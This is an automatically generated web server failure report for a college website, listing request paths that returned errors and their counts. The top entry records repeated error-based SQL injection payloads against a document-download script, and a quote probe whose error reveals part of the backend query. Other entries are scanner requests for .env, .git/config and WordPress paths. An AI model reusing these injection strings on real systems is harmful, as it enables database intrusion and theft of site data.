Web Server Statistics for salzburgcollege.edu

 

  Failure Report  

The Failure Report identifies requests that were made to the server that resulted in an error such as a '404 Document Not Found'. These errors can be caused by a mistyped URL or a broken link on a referring page.

This report is sorted by number of requests.


File NameNumber of requestsNumber of requests in the last 7 days
1./interactivist/frontend/downloaddoc.asp239,3713,757
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--|41|ASP_0173_:_80004005|Invalid_Path_Character6214
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf+and+1%3D+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+and+1%3D1--|41|ASP_0173_:_80004005|Invalid_Path_Character6214
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf'+and++AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+and+'1'%3D'1|41|ASP_0173_:_80004005|Invalid_Path_Character6214
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf'+or++AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+and+'1'%3D'1|41|ASP_0173_:_80004005|Invalid_Path_Character6214
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf'+or+1%3D+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+and+'1'%3D'1|41|ASP_0173_:_80004005|Invalid_Path_Character6214
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf'+or+1%3D+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)----|41|ASP_0173_:_80004005|Invalid_Path_Character6214
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=and+1%3D+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+and+1%3D1|41|ASP_0173_:_80004005|Invalid_Path_Character5813
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)----|41|ASP_0173_:_80004005|Invalid_Path_Character5813
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf'++AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+'|41|ASP_0173_:_80004005|Invalid_Path_Character5813
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--|41|ASP_0173_:_80004005|Invalid_Path_Character5412
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+and+1%3D1|41|ASP_0173_:_80004005|Invalid_Path_Character5011
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=.pdf'+and+1%3D+AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+and+'1'%3D'1|41|ASP_0173_:_80004005|Invalid_Path_Character5011
    /interactivist/frontend/downloaddoc.asp?chk='&file='&id='&typ='|58|80040e14|Syntax_error_in_string_in_query_expression_'aktiv=TRUE_AND_name_=_''';'.45910
    /interactivist/frontend/downloaddoc.asp?chk=121164&file=SCHOLARSHIP_DONORS.pdf&id=69&typ=+and++AND+(SELECT+1+FROM+(SELECT+COUNT(*),+CONCAT((SELECT+(SELECT+CONCAT(CAST(VERSION()+AS+CHAR),0x7e))),+FLOOR(RAND(0)+*+2))+x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)+a)--+and+1%3D1|41|ASP_0173_:_80004005|Invalid_Path_Character4610
2./lib/js_kopfimage_slideshow.asp72,2321,257
    /lib/js_kopfimage_slideshow.asp?datei=home&anzahl=5|119|800a000d|Type_mismatch:_'getProtocol'32,117632
    /lib/js_kopfimage_slideshow.asp?datei=admissions&anzahl=5|119|800a000d|Type_mismatch:_'getProtocol'6,601142
    /lib/js_kopfimage_slideshow.asp?datei=bachelor&anzahl=5|119|800a000d|Type_mismatch:_'getProtocol'4,321104
    /lib/js_kopfimage_slideshow.asp?datei=studyabroad&anzahl=4|119|800a000d|Type_mismatch:_'getProtocol'4,70089
    /lib/js_kopfimage_slideshow.asp?datei=salzburg&anzahl=6|119|800a000d|Type_mismatch:_'getProtocol'3,66474
    /lib/js_kopfimage_slideshow.asp?datei=academics&anzahl=4|119|800a000d|Type_mismatch:_'getProtocol'3,61067
    /lib/js_kopfimage_slideshow.asp?datei=graduate&anzahl=3|119|800a000d|Type_mismatch:_'getProtocol'2,62064
    /lib/js_kopfimage_slideshow.asp?datei=studentlife&anzahl=5|119|800a000d|Type_mismatch:_'getProtocol'4,18444
    /lib/js_kopfimage_slideshow.asp?datei=about&anzahl=5|119|800a000d|Type_mismatch:_'getProtocol'3,39136
3./.env3,19372
4./.well-known/traffic-advice2,81362
5./1,21558
6./wp-login.php3,82555
7./index.php1,46939
8./r.asp56237
9./en/team/detail.asp3,33736
    /en/team/detail.asp?id=7&tit=Thomas%2520Herdin|48|800a000d|Type_mismatch:_'parameterUrlEncode'1,23016
    /en/team/detail.asp?id=11&tit=Oliver%2520Kraft|48|800a000d|Type_mismatch:_'parameterUrlEncode'1,06913
10./xmlrpc.php2,12435
11./admin.php1,80033
12./file.php1,54831
13./about.php1,44930
14./sdk/weblanguage32030
15./apple-touch-icon.png1,16030
16./en/faq/detail.asp8128
17./radio.php1,02128
18./info.php1,41527
19./wp-admin/1,47326
20./ads.txt1,32526
21./classwithtostring.php1,29025
22./.git/config1,66125
23./gfx/167170.jpg50024
24./adminfuns.php1,14524
25./wp.php1,20324
26./buy.php89423
27./ioxi-o.php1,31423
28./abcd.php1,24222
29./new.php1,06822
30./chosen.php1,09521
 [not listed: 19818]584,39315,260


This report was generated on January 19, 2026 01:31.
Report time frame December 16, 2025 21:04 to January 18, 2026 05:59.

Web statistics report produced by:
Analog logfile analyser. Analog 5.24Report Magic statistics formatting by Wadsack-Allen. Report Magic for Analog 2.13